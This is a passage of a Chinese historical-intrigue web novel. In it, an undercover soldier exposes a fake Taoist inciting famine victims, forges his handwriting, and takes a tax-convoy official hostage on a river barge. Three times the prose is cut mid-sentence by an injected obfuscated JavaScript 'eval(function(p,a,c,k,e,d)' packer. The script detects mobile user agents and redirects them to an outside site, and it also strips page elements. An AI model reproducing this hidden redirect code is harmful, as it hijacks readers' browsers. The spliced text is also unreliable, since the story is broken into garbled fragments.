容小虎脸上的伤触目惊心,一身的灰土,带他来的人怕他伤了筋骨,让人用板车推着他。宋七默默走在一旁,压低视线,悄然察看四周。 他们停在街尽头,一座不大的院门口,看门口的牌子,是个医馆。 容小虎装出了十分的疼痛,苦着脸,捂住肋骨处,叫宋七扶着,蹒跚着往院内走。 有人出来相迎,是个须发灰白的精瘦老者,做道士打扮,青衣博带,发盘牛心纂,竹簪别顶,目若朗星。 “吕道长。”带他们来的人纷纷拱手。 “这位是?”那道长问。 “这位乡里在粥厂领粥,不甚撞倒了守卫,险些被那些人打死,幸好被我们给救了出来。” 容小虎打着颤,先朝那道长施礼,又朝两边施过礼,“多谢各位乡亲相助,不然,我兄弟俩定要死于乱拳之下……”说着,竟落下几滴泪来。 吕道长定定看着他俩,一息间,带上了笑,“快把人扶进去,贫道来为他诊治。” 自己伤成什么样,伤有几处,容小虎都知道,挨打时他刻意躲闪了,虽说看着吓人,实则不过是些皮外伤。 往院子深处行进,容小虎想起,容鹿鸣对他说过,看似和谐的情境里,突然冒出个不该出现的人,那么,他便是此事的关节所在。 晋国之内,佛、道两教信徒皆众。街镇上常有僧、道往来,不足为奇。可面前之人,明显不是个道士。 吕道长让人扶着容小虎坐于榻上,束起广袖,为他检查伤势。 不同于容小虎刻意改变了身姿和步态,大约是成竹在胸,他显得放松而自如。容小虎便瞧出来了,此人亦在军中呆过、军衔不低。虽年纪大了,但仍身手不俗。 这堂屋中供着太上老君的画像。而进屋时容小虎装作站立不稳,有意往书案那边一歪,瞥见书案上被盖了一半的图纸,画的不是水车或耒、耙,却是这乌蒙镇的舆图。 他不思为灾民打醮祈福,却研究这舆图做什么? 当年在南蛮与晋国边境,容鹿鸣曾提醒过他:传教说法之人最易煽动民众,万万要留心居心不良之人扮作僧、道,趁机生事。 见身旁众人对吕道长万分恭敬,容小虎对这人的身份有了猜测。 “这位小弟虽是皮外伤,也需将养几日。不嫌弃的话,可留在我这医馆中。医治贫苦之人,贫道向来分文不取。” “那就谢过道长了。”容小虎想使力站起来,向他郑重施礼。 “不必客气。”吕道长按住他,力道全然不似一个中年人。“敢问你们姓何名谁,家住哪里?” “回过道长,小人名唤王大,这是小人的弟弟王二。东郊那片薄田、草屋,便是我们家,我家阿耶刚刚……” 容小虎适时止住话头,让这条染着伤痛的假信息沁入他们心里。 如果他猜得不错,下一步,他们便是要验证他的身份了。他倒是不慌,事先他已从暗巷头领那里讨来了身份。真正的王大、王二俱在暗巷,邻里却以为他们在城外谋生。 接下来……容小虎听着屋外来往不息的脚步声和低语,这场景他可太熟悉,恐怕,有些事很快就会发生。 他等着他们来找他,因为他表现出的憨勇、愤怒,和他恰好无所依傍便于操控的“身份”。 他会是他们最好的棋子。 之后的几天,容小虎和宋七俱呆在医馆。 容小虎看上去好些了,便和宋七一起,帮着医馆里的人干些杂务。 宋七在扮作王二之前,是个翩翩佳公子,容小虎还以为他是个十指不沾阳春水的世家少爷,没想到,竟烧得一手好菜。容小虎给他打下手,兼做洗刷。 两人都豪爽健谈,不多时,就与大家打成一片。 容小虎私下交代宋七:“明日起,你我同大家一道,每日打坐,诵经、上香,越虔诚越好。” “大哥也是信徒?”宋七这声大哥不止是做戏,他确实佩服容小虎。 “不是。” “那为何……” “过几日你便知道了。 吕道长派出去的人回来了,还动用了暗巷的关系,证实了王大、王二身份可信。 另外两个一直盯着他们的手下也来回报。 “你说他们两个一直呆在宅院里,一次都不曾出去过?”吕道长问。 “是,小人看得清清楚楚。他俩每日打坐,诵经、上香,虔诚得狠。有时与人闲谈、干些杂活,还有就是莳弄莳弄院子里那几杆瘦竹。” “好,”吕道长看着窗外,悠悠道了一声。 天刚蒙蒙亮,容小虎和宋七已收拾停当,去和聚在堂屋的乡民们一道诵经。那间挂着老子画像的堂屋,被布置成了个小法堂。 做罢早课,吕道长身旁的小道童叫住了他们:“二位留步,道长有请。” 他们对视了一眼,眼中都含困惑。吕道长说要为大家祈福,这几日都在房中打坐。今日,是有什么事? 吕道长的房间如同一间精舍。他盘腿做在中央的高台上。台下两个蒲团,道童引着容小虎、宋七过去盘腿坐下。 吕道长闭着双目,口里念念有词。 “道长,两位道友来了。”道童小声道。 闻声,吕道长缓缓睁开眼睛。 开门见山,他说道:“今日把二位请来,是有一事。” “道长请讲。” “昨夜,贫道夜观星象,得窥天机。 “是何天机?”容小虎往前凑了凑,作出万分好奇的样子。其实,他昨晚也观了天象,不过大约与这道长观的不一样。 作为亲兵,容小虎要跟着容鹿鸣学习更多东西,观星也是其中之一。当年军中练兵,他和容大虎每晚还要观星象以测气象,若是错了,便要扣餐食里的肉馒头。 星象预测吉凶那一套,容鹿鸣虽有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863782|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时也和钦天监议一议,私底下却不太信。但她要容大虎、容小虎一并铭记于心,说是日后大抵会有用。 听吕道长说出天象、天机,容小虎品出味儿来。 一片沉默,吕道长似乎仍存疑虑。 “道长,究竟是何事?若有用得上我们兄弟俩的,尽管开口!”容小虎压下心中激动,他们等的机会要来了。 坐在高台之上的人瞪着漆黑眼珠,静静看着他俩,片刻后,开口道:“眼下,太上老君借天象示下个契机,可解灾民疾苦,你兄弟二人可愿去?” “是了!”容小虎心说,拉住宋七一并跪于高台前,“但凭道长调遣。” “甚好!你二人果如乡里所言,急公好义。”真正的王家兄弟确实有此声名,这也是容小虎选择冒用他们身份的原因之一。 “外面的,进来吧。”吕道长朗声道。 有四个乡民走了进来,皆跪于高台之下。容小虎侧目看了看,正是这里最虔诚的四个教徒。 “王大兄弟,贫道听说,你曾带领本村少年郎操练兵法,以御匪盗,是也不是?” “都是老黄历了,不过是闹着玩儿的,叫道长见笑了。” “莫要谦虚,听说你们一众儿郎逮住了当时横行数镇的悍匪,为乡里所盛赞。”容小虎在心里,也把王家兄弟赞了一赞,若不是那场冤案,他兄弟俩何至于要藏身暗巷? “这次,亦要你兄弟二人出手。如今贪官当道,苛扣赈灾钱、粮,灾民已受大苦,如今又遭饥、病,惨死者众。太上老君慈悲,降下神谕,明晚子时正是好时机,带领众弟兄劫了县衙的官仓,散尽钱、粮,救民于水火!” 倘若以吾之心比王大之心,定是要干成这一票的,才不管那法度为何,容小虎心想,这吕道长委实擅长拿捏他人。 旁边几人皆激动不已,叩首称是。 现在,线索清晰地浮现了出来,吕道长和他身后的人想极力促成民变。而县衙内,恐怕也有他们的人。当时,叶尚书毁家纾难的消息刚传来,即刻有人在粥厂旁碎语闲言:“叶尚书多大的官儿啊!真的变卖家产赈灾的话,怎么才得这点儿钱粮?怕不是贪得太多了,担心灾民闹事,编出这么个故事哄咱们!” 容小虎琢磨着眼前境况,心中有了打算。 皇命在身,林如柏压送税银,一路昼夜不停,梦里、醒时俱在烟波中。收到催促的圣谕时,他却想要停一停。 将税银从南境运至北境战场,要先走一段水路,再转陆路。前方的水路岔道,可通向不同的转运枢纽,为何要他改变原先计划,去乌蒙镇的那个? 林党与清流在西南的争斗,林舒涟不想把儿子扯进来,由是,让他去南边征收盐税。也便无人将乌蒙镇的安排告知于他。 但这一刻,林如柏觉得事有蹊跷。按照他原定的路线,看似路程长短不变,可虑及这个季节的风向、风速,税银能至少提前半日运到,这省出来的时间,他本预备做些其他事……这等水路运输的细节,知之者不多,但他知道,容鹿鸣清楚得狠。 48. 计熟事定(二) 林如柏是见过的,容鹿鸣于朝堂之上同户部尚书争论,哪条路线运送军粮最为迅捷。 当时,老尚书看都不看容鹿鸣一眼,胡子一吹,就差道一句:“竖子!”他于先皇面前一揖,“陛下,老臣监管军粮运输之事多年,目下这条路线最为快速稳妥。” “此言差矣。”容鹿鸣自袖中取出张舆图,先帝示意身旁两位内侍前来摊开此图,展于殿前。不同于老尚书的焦躁难耐,她以手指图,娓娓道来:“昨夜我同钦天监的友人一道夜观星象,之后的三到四日间,恐将阴雨不断。” “监正。”老皇帝说。 “回禀陛下……容少将说的,确有此事。”监正态度恭敬,话却答得生硬。 林如柏立在文臣队列里,心里直发笑,钦天监里哪里有容鹿鸣的朋友?他们都快恨死她了。 别人看钦天监,那是心系国运,观测吉凶。容鹿鸣看钦天监,则是攸关农时,测定晴雨。还不知是怎么了,先帝也受了她的影响。 “除却阴雨的影响”,容鹿鸣让两个内侍把舆图转过来,露出背面的空白,她又从袖中抽出一支碳笔,在空白处写写算算,“将货物重量、河流水量以及风向通通考虑进来,末将画出的这条路线,能提前两日运达。” “不可能!”老尚书觉得自己的权威被冒犯,忙向先帝施了一礼,凑到近前去看容鹿鸣的算稿,预备当众质疑她。 可他脸上倨傲的笑容渐渐僵住——容鹿鸣说的是对的! 现今,容鹿鸣唯一的兄长在北境战场,亟盼军需。容鹿鸣精通水经、算学,却为何偏偏选一条会晚到的路? “不,不对。”林如柏对自己说,发来圣谕的是陛下,也许与容鹿鸣无关。可心里的预感告诫他——并非如此。 萧正则是容鹿鸣最心爱的徒弟,早些年间,他甚至能模仿容鹿鸣的笔迹文法写四六,待到士人们争相传抄时,都无人发觉此文并非容鹿鸣所做。 他的行事风格、谋划方法,深受容鹿鸣影响。就同如是金顶堂皇的宫殿,容鹿鸣是隐于深处的那根柱子,立在阴影里,却承受着莫大的重量。 若他有什么谋划,他猜,她一定是同谋。 林如柏不甚了解萧正则,但他了解容鹿鸣,她正是此事的切口。 以他师徒二人惯常的行事风格,林如柏想,乌蒙镇那里一定有什么在等着他。 他下令船只缓行,亲自去了后面几艘满载税银和官兵的大船。 士兵皆着重甲,白银俱在箱中。 铁与银都是冷的,林如柏的手抚过一口口大箱时,却觉得掌心滚烫。 世人对金银的贪婪是天生的。纵使自小生长在富贵乡里,林如柏仍不免因这些白银心旗摇荡。 他面上冷肃,命令士兵们提高警觉,尤其是,抵达乌蒙镇那个转运枢纽时。心里却在翻涌着,肆意分割这大笔的财富。他有些懂先帝缘何酷爱奢靡了,那是多么的快意呀!而户部尚书的位置,正向他散发出诱人光彩。 不仅满足简单的欲望,财富还可以促成许多阴谋。他想,默默送去西境的许多白银,正在缓缓释放它令人难以抗拒的力量,他期待着那个惊天巨变。 他猜容鹿鸣并不知晓这些,她被萧正则困于深宫之中。 “困得好。”他对自己说。他已不冀望能得到她,但恨意和痛楚却如一条小蛇,时时盘踞于他心口。 容鹿鸣私底下喜食各种茶点,自她入主中宫,萧正则特地着人选了几个擅做茶点的扬州厨子,入了尚食局,专听容鹿鸣调遣。 因此,纵是每日送个三四次茶点去凤仪宫,也无人怀疑什么。 美盼总是大大方方地打开那些漆金食盒,让探究的眼睛随意去看。有时,也忍不住说些风凉话:“宫里的暗卫也着实是不容易,天天在那儿守着,不如叫进来一起尝尝这玉露团?” “美盼。”换来容鹿鸣一声含笑的嗔怪。 容鹿鸣拿了把刀柄镶螺钿的小银刀,切开今日的玉露团,内里包了蜜豆三颗。她微微蹙眉,叫美盼和巧笑来与她一同吃。 巧笑看了看切开的玉露团,叹了口气,“娘娘,这还怎么吃得下去。” “先不急”,容鹿鸣呷了口峨眉雪芽,用小银匙切下一角玉露团,置于鼻端轻轻嗅,“最多两、三日,小虎只剩这些时间了。” 就这两、三日,若过了仍无信息,她恐怕得写信一封给宇文靖了。 这个时候,就在这个节点上,民变将起未起,林党与清流之间各有把柄、彼此制衡,朝局这才能暂时稳住,百姓也才能暂时安稳。 朝局绝不能乱,与南蛮的征战虽陷入僵持,北狄屡战屡败却犹不低头。而萧正昀在他西境的封地里,令她委实不安。 “可是娘娘,陛下那日看上去,气得狠呐,要不要……”美盼小声道。 “不必,他自小就那般,气性大。” 美盼想去掩她的嘴,反被容鹿鸣喂了口玉露团,甜香四溢。 她知道,陛下不会因为皇后娘娘背地里说他几句坏话而动怒。 但那种感觉不太好,陛下有时似是爱极皇后,有时又似乎恨之入骨髓。 他们把行动定在丑时。 仅提前三个时辰,告知容小虎,让他带领一队乡民,做好准备。 容小虎应下了,对吕道长说:“我先去收拾收拾。” 从堂屋回他和宋七住的耳房,他照例给那丛瘦竹浇了浇水,趁机折断几根竹枝。 无人在意,除了街对面的一个人。按照事先约定,那人已由断掉的竹枝接收到信息,暗巷及察事处的其余弟兄立即就会知道。 然后,容大虎大拉拉地走进他们那间耳房,与宋七交了交眼神,宋七立即懂了。他方才开口,有意扯开嗓门:“咱兄弟俩先休息会儿,晚上好有精力去干大事儿。” 容大虎合衣躺在床上,心神难宁。每隔两日来此地送菜蔬的小贩与暗巷有联系,将写着暗语的字条暗地捎给容小虎。容小虎知晓了容鹿鸣的后续安排,觉得妙极,只是,他忧心林如柏能否及时赶到。 没过一会儿,吕道长身旁那个道童来敲门,唤他们去进晡食。 枣馒头和炖羊肉,乡民们端着粗陶大碗,乐呵呵地吃着。真不像是要去劫县衙的官仓,倒像是,要去赶什么喜事。 轮到容小虎领饭了,厨子朝他的大碗里使劲扔了两个枣馒头,而后深深看了他一眼。 容小虎咧嘴一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874287|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,刁起个馒头蹲到树下去吃。他一口撕开馒头,旁边的乡民拍拍他,用手比划着,“王大,你这馒头里咋才俩枣,我们的,都至少五个枣,来,分你几个,这馒头,就着枣才香!” 容小虎谢过他,与他抵着肩一道大啖馒头、肉汤。心里泛上些喜悦,馒头里两个枣——双数,好! 单数是未成,双数是成了,这源自军中的一个小游戏。 带兵打仗哪有不败的,容鹿鸣说过:“至少我没那本事。” 军中餐食,若是胜了,馒头双数,摞在筐里,若是输了,馒头是单数。 容鹿鸣爱说:“不管是双数的馒头还是单数的,都要吃进肚里。胜败俱是常事,不可能因为我军声名在外就只胜不败,老天爷不偏心!胜不骄、败不馁,踏实把仗打好、把饭吃好,才是守好国门,不愧于肩上重任。” 她这话,军中每个人都知道,都记在心里。 馒头里的两个枣子真甜。“很久没吃到这么好吃的馒头了。”容小虎心想,在这甜丝丝的回味里,他要展开他们的计划了。 容小虎、宋七和几个领头的乡民聚在吕道长那间精舍般的屋里。 “路线,就按王大兄弟说的,从码头绕去县衙那里的官仓,码头那人来船往昼夜不歇,咱们装作脚夫的样子,不易引人生疑。王大,这件事就交给你了!”吕道长郑重地拍了拍他肩膀。 “定不负所托!”容小虎拱手一礼,“此外……”他欲言又止。 “有话请说。” “失礼了。”容小虎做了个请君附耳过来的手势。 吕道长照做了。容小虎对他低声说了什么,他不住点头。 大家都注意着他们交头接耳,无人察觉,容小虎右手垂于衣袍一侧,手指灵活,迅速解走了吕道长从不离身的青绸绣白鹤荷包…… 他转身时撩了宋七一眼,宋七懂了。 换上准备好的衣衫,他们看上去就是一群赶夜工的脚夫。短刀都贴身藏着,紧紧扎在腰带里。行色匆匆。 暗夜里,容小虎悄悄把张字条塞入刚刚偷来的青绸白鹤荷包。 近了,更近了,容小虎一眼就认出了押运盐税的官船。他在一辆骡马车前停下,侧身对身旁几人说:“方才临走时,道长塞给我一个荷包,叫咱们到了码头再打开来看。” 容小虎从怀里拿出那个青绸白鹤荷包,递给身边的人。 荷包是吕道长从不离身的那个,容小虎又是道长信任的人,大家不疑有他。 近旁,两人四手迅速打开荷包,展开其中字条:若见官船,先劫官船。 “吕道长暗中得了消息,说是有几艘压运税银的官船,兴许会于今晚停泊于咱们镇的码头……” “之前你们耳语,便是在说这个?”宋七刻意问。 “是。”容小虎答道。其实方才他什么都没说,只是让吕道长放心。 宋七抽过字条,细细看了看,“确实是吕道长的笔迹。”众人看了,也纷纷点头。 两日之前,容小虎已备好这字条。宋七看后,吃了一惊。他们平日读的经书,有好几本都是吕道长手抄,他们对他的笔迹都很熟悉。 这分明是吕道长的手书! 49. 计熟事定(三) “你这是……威逼?不对,你怕不是先用迷香把那吕道长弄个半晕,再哄他写给你?”宋七好奇极了。 “怎么可能,仿写而已。” “仿得太像了,简直以假乱真!怎么做到的?” 容小虎笑而不语。不是他有意藏私,只是,学习仿写的过程不太美好。 容鹿鸣对身边亲兵要求很严,仿造笔迹亦是必学科目,由她亲自教授。 练过数次后,容鹿鸣会把他们送去考校——在休战的间隙,把他们送去晋国与南蛮的边境,让他们拿着自己仿制的文牒,走过南蛮关卡。 南蛮那边,签署文牒的官员不时会换,容鹿鸣会事先拿到他已签发的,让他们学习、仿制。 文牒上的官印则由容鹿鸣仿刻,她仿刻的功力真是一绝。容小虎觉得,若不是因为会杀头,她恐怕连玉玺都仿刻得了。 容鹿鸣的原话是:“过得关卡便罢,过去不的话……啧啧,谁去救呦。”她话说得不紧不慢,众人听得心惊肉跳。于是,他们这一众亲兵,征战、练兵之余,俱是打起了十二分精神,认真琢磨仿冒笔迹这件大事。 容小虎的实战经验比其他人丰富多了,北狄、南蛮、西戎,容鹿鸣带着他潜入过许多地方。到后来,同样一个羊肉胡饼,他咬一口,便知此饼是来自北狄的酒楼还是南蛮的皇宫。 每回行动前,他与容鹿鸣都是各做各的文牒或证明身份的文书。容鹿鸣轻车熟路,伸手就来。容小虎那个紧张呐,他生怕他万一露馅了会连累他家少将军。 “怕什么,过关卡时咱们分开走,大不了把你逮走,不会影响我的,别担心。”容鹿鸣故意吓他。 “呜——少将军——”容小虎又一次被成功吓哭。 “哎呀,没有事,没有事,你做的文牒我看过了,好得很。” “真的?” “真的!快,眼泪擦了。” 从最开始战战兢兢、夜不能寐,到后来,容鹿鸣把她自己需用的文书、文牒也都交由容小虎仿制,无一次被识破。晋国之中,论仿写、仿制,除了容鹿鸣,大概就是他容小虎了。 “大哥,我们接下来要做什么?”宋七借着询问,引容小虎把他们的计划说给众人听。 容小虎环视众人,生里来死里去,他越发感到生命的脆弱。这些无辜的人,他不忍他们卷入无谓的权力争斗。 “我和阿弟先去看一看,大家等我们的消息”,容小虎四下看看,“你们分开来,站一会儿、坐一会儿,装作等雇主的样子。 “好。你们兄弟俩万万当心。“ 容小虎点点头,示意宋七跟上他。他右臂搭上宋七肩膀,装作酒醉的样子,朝官船晃过去。 官船上的守卫看了他们一眼,并不在意。码头的脚夫们常有这种事,他们无家也无口,辛苦一天挣的钱,下了工就去换成烧喉的烈酒,说不上是活得肆意还是生无可盼。 容小虎他俩趁守卫望向另一侧,一瞬地跃入船头与码头台阶相交的暗角下。迅速蒙上脸,他们紧贴着船舷,如两只静默的水蛇,隐匿了行迹,缓缓爬上甲板。 河面风平浪静,水声细微。月色隐于云间,星也只得几点。 守卫们的注意力和照明的火把,都集中在紧靠码头的船前端。容小虎和宋七悄悄潜向官船后方。 上船之前,容小虎看过这船的吃水线,知道船上大致有多少银两。以他和宋七的身手,偷出几箱银子不成问题。可是不行,他们得把动静闹大,逼得船上守卫动手,继而,县衙官兵不得不动手,吓住这些被别有用心之人煽动的灾民。 县衙中有那煽动之人的内应,若不借盐税船出事的由头,令官兵们今晚不得不出动,那些灾民真的劫了县衙粮仓,民变可就真的坐实了。 容小虎不会让这事发生。只要官兵今晚动手抓了他们这些人,暗巷的人立即会把这消息传遍全镇,再加上一句——赈灾粮就跟在盐税船后面,马上就到。 既敲打了居心不良之人,又为容鹿鸣争取了时间。他收到信息,容鹿鸣以私产筹集的粮食,这一两日便会运到。 退一万步讲,万一场面失控,那幕后之人得了逞,灾民劫罢官仓又攻入县衙……暗巷头领已在馆驿附近安排了几位兄弟,不会让这消息传出去。宇文靖的封地离这里不算太远,若走那条路的话,就近了。 瞒住陛下,请宇文靖秘密出手,亦不是难事,只消容鹿鸣的一张字条。 怎么能把动静闹到最大?容小虎在心里盘算,押运盐税的是林如柏。林如柏,好呐,当朝副相林尚书的独子,又是年轻有为的户部侍郎,没什么比劫持他或是让他受点伤更好的缘由了。 他低声把这些告诉身旁的宋七。 宋七瞪大了眼睛:“那个林如柏吗?” 容小虎点头。 “你……你们……” 容小虎心里也有一丁点儿发怵,这林如柏与他家少将军之事,朝中尽人皆知。若是事情败露,也许、大概会增添些新的恨意? 不过,容鹿鸣也说过,“恨我的人多了,不差那七八十来个。” 他们隐藏在船体的阴影里,悄然避开往来巡查的护卫。 船舱里亮着烛火,容小虎示意宋七留在原地,他一个人摸了过去。 轻轻点破窗纸,容小虎偷眼观瞧,那坐着读书的,真是林如柏。 关于这林家小公子、最年少的户部侍郎,传闻甚多,说他性喜奢靡,出手阔绰,在京中广交名流贤士。当今名士,不少都是他的座上宾。明眼人也都看得出,他这是暗地里助他阿耶广结党羽。 而现在,他竟毫无动身去驿馆歇息的意思,除了发冠,在那里读书。屋内,并无小厮,应是……去为他预备盥洗之事。 他难道是,要睡在船上?容小虎心里嘀咕,或者,他憋着什么计谋? “不管了。”他深吸一口气,弯腰,抽出藏在鞋底的刀片。容家军的亲兵,所穿之鞋都是特制的双层鞋底,中间藏着一片特制的刀片,手掌长短,极薄、极锋利,是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886158|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西戎秘法锻造,可以避开搜查,亦可轻易割断喉咙。 容小虎将刀片置于反手,手腕一转,让刀尖朝向地面,呈现出理想的战斗姿态。反手握刀,能让刀保持在戒备位置,并且避免对手朝着明显目标,踢开他手中的武器。 “咚咚咚。”他轻声敲门,“大人,小的把洗脚水端来了。” 林如柏抬起头,他在读《通鉴》,容鹿鸣编纂且批注的那一套中的一本。他费尽周折,只得这一本,其余的书册,也不知去了何处。 他一边读书,一边想编书之人,思绪时远时近,不觉,有些恍惚。 敲门声响起,他如梦初醒,下意识地起身去开门,毫无防备。 门“嘎吱”一声开了,林如柏眼前一花,还未意识到发生了什么,已被闪到他身后的容小虎以刃抵喉。 “别说话,林侍郎,刀剑无眼。” 在感到惧怕之前,林如柏先感到喉上一凉,一丝疼痛蔓延开来,温热的液体滑过他脖颈,沁入衣领。 “这歹人是动真格的……”林如柏暗想,强迫自己冷静下来。 “这位壮士,有话好说,你想要什么?”林如海努力使自己的声音显出镇静。 “让你的人把税银搬出一箱来,就搁在船尾。” 林如柏未动。 容小虎拿捏着力道,将手中刀片轻轻一颤。清晰的杀意借由疼痛传递给林如柏。 “壮士莫慌!来人,去搬一箱税银,放到船尾,快!” 门外立即有人应诺。 这时,容小虎拖着林如柏走出船舱,往船尾走。 林如柏猛然意识到,事情不对。他可不光是外人想的,雍容华贵的“京中三公子”之一,绑架之事,他也是做过的。 换位思考,此时最稳妥的方式明明是,这歹人挟持自己留在船舱之中,隐匿行踪,让人搬好银子,然后堵住自己的嘴绑于船仓中。再待夜深之时前去取银子。缘何他反而出了船舱,这感觉像是,迫不及待地想要被人发现似的? 这人绝不是为了钱?林如柏想,他在铸造坊呆过,对兵器颇为了解。屏除掉恐惧,他在心里细细感知喉间兵器的触感,于疼痛间剥离出这刀刃大约的厚薄长短。 不是制式武器。这歹人使刀的姿势很特别,举刀很久,手却丝毫不颤。倒像是托着个很轻的东西,然而,又锋利无比。 这种兵刃,锻造的难度难以想象,绝不是普通人用得起的。这歹人不是为钱,那是为了什么? 林如柏随着容小虎的动作而动,小心翼翼。他毫不怀疑,一个不小心的话,喉间利刃可以轻易割掉他的头颅。 “前面那是什么人!大人!快,弩箭上镗,保护大人!” “前面的,你不要命了!可知你挟持的是谁?” “我管他是谁,趁老子现在心情好,只想图些钱财,若是慢了,我可就不止要财了——” 林如柏感到自己颈间流出的血凝固了,但他知道,身后之人可以轻易加深伤口。 50. 计熟事定(四) “快!按他说的来!”这句话,林如柏是吼出来的。 一整箱银子被搬至船尾,特意打开了箱盖。暗夜里,成色极好的白银如同吸吮着星光,兀自熠熠生辉,让人移不开眼睛。 “如此多的银子,壮士要如何带走?”林如柏犹不放弃试探他。 “这就不劳你费心了。”容小虎拖着林如柏逐步后退,靠近船尾护栏。林如柏觉察到,经过那满箱的银子时,挟持他的人甚至没有停步。 “糟糕!他要逃!”这念头闪动的瞬间,林如柏藏于身后的左手向身后那人的脸部用力一抓。 林如柏早就想到了,普通绿林之人,谁敢劫朝廷税银?这人既敢来,又蒙着面?说不定是与他有过瓜葛的人,惧怕被他知晓了长相。 他触到那蒙面布料的瞬间,被一股力量使劲往前一推,他顾不得颈上伤口,立即回头。 此时此刻,骤风驱散云彩,月光砸下来,砸在那人脸上,虽然只是一瞬……那人在落下去时朝卫兵身后高喊:“快逃!” 身后“扑通”一声,那人跳水逃了!一个身影自船中段朝船头跑去。卫兵们都聚在船尾,一时无人拦他。 “去,抓住那人同伙!” “大人,大人没事吧?”几个护卫拥上来扶他。“快,往水中放箭!” “住手,不许放箭!”林如柏推开众人,自己站了起来。颈上的伤口裂开了,他随意用手背抹去鲜血。 他冷静下来,脑中飞速思索。 当年,他曾在京中四处追堵容鹿鸣,真心实意地想要与她结一纸婚约。那个常跟在她身旁的人,他怎会不认得? “把我也算进去了?好得很。”林如柏勾起一抹冷笑,“务必把那人同伙抓住!” “是。” “不必请郎中,过来个人,给我上药。” 森森烛火下,林如柏用冷笑压着怒气。 船舱中压抑的静默被打破。 “回禀大人,卑职有罪,未追到那逃上岸的贼人,但抓到了他岸上望风的一群同伙。” “呵,你是死的嘛,不会用脑子想一想,望风需要那么多人?去给我好好审,我倒要看看主使是谁?” “你们俩,带兵上岸去搜!”林如柏指指身旁两个护卫。 “大人,如今夜深,我们贸然带兵入街户……” 林如柏顿了顿,铺纸提笔,疾书短信一封,“把这信速速送与县令,就说盐税险些遭劫,要他立即派人协助,挨家挨户搜查劫匪。” “是。” 两个重甲护卫一前一后迈出木门。船舱立即显得空了些。 林如柏以指轻敲书案一侧的信笺,是叶德邻写来的,说他自己染了时疫,暂时无法晤面。条理清晰,在情在理,可是,林如柏却觉得,有股说不出的古怪……怪在哪呢? 他的视线滑过案头书册,容鹿鸣编的那本《通鉴》。 容鹿鸣…… 若无她首肯,容小虎断然不敢如此行事。 容鹿鸣究竟想干什么?引来一群灾民围着税船,等着被他抓? 不对! 那阵盛怒激起的耳鸣渐渐息了,林如柏想起沿路听来的一些传闻,说乌蒙镇恐怕要生民变。他当时听罢只笑,捕风捉影之事,最多是几个流民闹事,怎么敢这般乱说。又想起临行前阿耶反复嘱咐的:“这一路,你只管把盐税收好、运好,别的通通不要掺和。” 他以为此次收税关系重大,阿耶是要他勿与那些拉拢他的官员牵扯。 当前林党与清流的争斗日盛。“叶德邻是清流股肱,我是个再清楚不过的林党之人……”林如柏喃喃自语,以他对阿耶的了解,若果,这乌蒙镇的民变本是个局,借此局要坐实叶德邻赈灾不利,逼生民变之事。大肆渲染渲染,此罪判个斩刑不难,重创清流更是容易。 陛下不该知情,容鹿鸣更当缄默。 然而,圣谕却特地命他来此,容鹿鸣也特地把容小虎派了来…… “不好!此事不能出手!速叫那两个护卫回来,不能惊扰县令、百姓。” 林如柏彻底明白过来,容鹿鸣和她那个好徒弟怕是要借林党自己人之手,破林党设下之局。 林党诸人先是用计截留赈灾款、粮。再着人授意苛待灾民,并在外刻意煽动,县衙之内,则按兵不动,且待民怨累积。接着令人造一场动乱,按住官兵、不许镇压。待民变成了,胥吏们统一口径,抹去痕迹,推说是叶德邻赈灾不利。环环相扣,那群清流们能如何! 林如柏看似镇静地坐于灯烛之下,右手手指却在微微颤抖。他不能毁了阿耶精心设下的局。 “人追回来没?” “回禀大人,那二人乃是骑快马前去县衙,他们带的士兵已进入附近的坊、街。” “回——回禀大人!”刚刚同去县衙的小厮回来报信,“县丞接了大人的手信,立即派县衙内士兵与咱们带的人一道,挨家挨户搜查劫匪!” “罢了。”到底晚了一步,林如柏蓦地仰在简陋的靠椅里,深深叹息。 那个容鹿鸣!他恨恨地想,若不是被她激起了盛怒,他不会失却理智,不假思索便冒然动手。 那个名字在他心里悠出回响。他想到她左手食指上的雕青细字,想到她重伤在身依旧披坚执锐,想到她的坦荡和信念……过了好一会儿,他站起身来,踱出窄小的船舱,去甲板之上,一任明月入襟怀。 “岸上抓的那群灾民,审一审便好,不可动刑。” 护卫心有困惑,迟了片刻,方才应诺。 尚食局又送了茶点来,容鹿鸣事先并未吩咐。她们是自己来的。 不必揭开漆金的食盒,容鹿鸣就知道里面盛的是玉露团。不必切开,容鹿鸣亦知晓其中藏着消息。 算着时日,容小虎必定大事已成。容小虎是她的人,她就是有这种笃定。 美盼揭开食盒,容鹿鸣纤长的手指搭上食盒边沿。心放下了,一瞬的,她觉得倦。 